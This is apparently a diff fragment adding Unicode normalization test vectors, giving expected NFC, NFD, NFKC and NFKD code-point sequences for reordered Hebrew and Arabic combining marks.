+{ source: [0x0061, 0x05B3, 0x05B2, 0x05B1, 0x05B2, 0x0062], NFC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062] },
+{ source: [0x0061, 0x05B2, 0x05B3, 0x05B2, 0x05B1, 0x0062], NFC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062] },
+{ source: [0x0061, 0x05B4, 0x05B3, 0x05B2, 0x05B3, 0x0062], NFC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062] },
+{ source: [0x0061, 0x05B3, 0x05B4, 0x05B3, 0x05B2, 0x0062], NFC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062] },
+{ source: [0x0061, 0x05B5, 0x05B4, 0x05B3, 0x05B4, 0x0062], NFC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062] },
+{ source: [0x0061, 0x05B4, 0x05B5, 0x05B4, 0x05B3, 0x0062], NFC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062] },
+{ source: [0x0061, 0x05B6, 0x05B5, 0x05B4, 0x05B5, 0x0062], NFC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062] },
+{ source: [0x0061, 0x05B5, 0x05B6, 0x05B5, 0x05B4, 0x0062], NFC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062] },
+{ source: [0x0061, 0x05B7, 0x05B6, 0x05B5, 0x05B6, 0x0062], NFC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062] },
+{ source: [0x0061, 0x05B6, 0x05B7, 0x05B6, 0x05B5, 0x0062], NFC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062] },
+{ source: [0x0061, 0x05B8, 0x05B7, 0x05B6, 0x05B7, 0x0062], NFC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062] },
+{ source: [0x0061, 0x05B7, 0x05B8, 0x05B7, 0x05B6, 0x0062], NFC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05B8, 0x05B7, 0x05B8, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05B8, 0x05B9, 0x05B8, 0x05B7, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05B9, 0x05B8, 0x05B9, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05BB, 0x05B9, 0x05B8, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05B9, 0x05B8, 0x05BA, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BA, 0x05BB, 0x05B9, 0x05B8, 0x0062], NFC: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BC, 0x05BB, 0x05B9, 0x05BB, 0x0062], NFC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05BC, 0x05BB, 0x05B9, 0x0062], NFC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062] },
+{ source: [0x0061, 0x05BD, 0x05BC, 0x05BB, 0x05BC, 0x0062], NFC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062] },
+{ source: [0x0061, 0x05BC, 0x05BD, 0x05BC, 0x05BB, 0x0062], NFC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062] },
+{ source: [0x0061, 0x05BF, 0x05BD, 0x05BC, 0x05BD, 0x0062], NFC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062] },
+{ source: [0x0061, 0x05BD, 0x05BF, 0x05BD, 0x05BC, 0x0062], NFC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062] },
+{ source: [0x0061, 0x05C1, 0x05BF, 0x05BD, 0x05BF, 0x0062], NFC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062] },
+{ source: [0x0061, 0x05BF, 0x05C1, 0x05BF, 0x05BD, 0x0062], NFC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062] },
+{ source: [0x0061, 0x05C2, 0x05C1, 0x05BF, 0x05C1, 0x0062], NFC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062] },
+{ source: [0x0061, 0x05C1, 0x05C2, 0x05C1, 0x05BF, 0x0062], NFC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062] },
+{ source: [0x0061, 0xFB1E, 0x05C2, 0x05C1, 0x05C2, 0x0062], NFC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062] },
+{ source: [0x0061, 0x05C2, 0xFB1E, 0x05C2, 0x05C1, 0x0062], NFC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05C4, 0x0062], NFC: [0x00E0, 0x05AE, 0x05C4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05C4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05C4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05C4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05C4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05C4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05C5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05C5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05C5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05C5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05B8, 0x05B7, 0x05C7, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05C7, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05C7, 0x05B9, 0x05B8, 0x05B7, 0x0062], NFC: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0610, 0x0062], NFC: [0x00E0, 0x05AE, 0x0610, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0610, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0610, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0610, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0610, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0611, 0x0062], NFC: [0x00E0, 0x05AE, 0x0611, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0611, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0611, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0611, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0611, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0612, 0x0062], NFC: [0x00E0, 0x05AE, 0x0612, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0612, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0612, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0612, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0612, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0613, 0x0062], NFC: [0x00E0, 0x05AE, 0x0613, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0613, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0613, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0613, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0613, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0614, 0x0062], NFC: [0x00E0, 0x05AE, 0x0614, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0614, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0614, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0614, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0614, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0615, 0x0062], NFC: [0x00E0, 0x05AE, 0x0615, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0615, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0615, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0615, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0615, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0616, 0x0062], NFC: [0x00E0, 0x05AE, 0x0616, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0616, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0616, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0616, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0616, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0617, 0x0062], NFC: [0x00E0, 0x05AE, 0x0617, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0617, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0617, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0617, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0617, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0619, 0x0618, 0x064D, 0x0618, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x0618, 0x0619, 0x0618, 0x064D, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0619, 0x0618, 0x0619, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0619, 0x061A, 0x0619, 0x0618, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0651, 0x061A, 0x0619, 0x061A, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0651, 0x061A, 0x0619, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064B, 0xFB1E, 0x064B, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064B, 0x064C, 0x064B, 0xFB1E, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064D, 0x064C, 0x064B, 0x064C, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064D, 0x064C, 0x064B, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x0618, 0x064D, 0x064C, 0x064D, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x064D, 0x0618, 0x064D, 0x064C, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x0619, 0x0618, 0x064D, 0x064E, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062] },
+{ source: [0x0061, 0x064E, 0x0619, 0x0618, 0x064D, 0x0062], NFC: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0619, 0x0618, 0x064F, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062] },
+{ source: [0x0061, 0x064F, 0x061A, 0x0619, 0x0618, 0x0062], NFC: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0651, 0x061A, 0x0619, 0x0650, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062] },
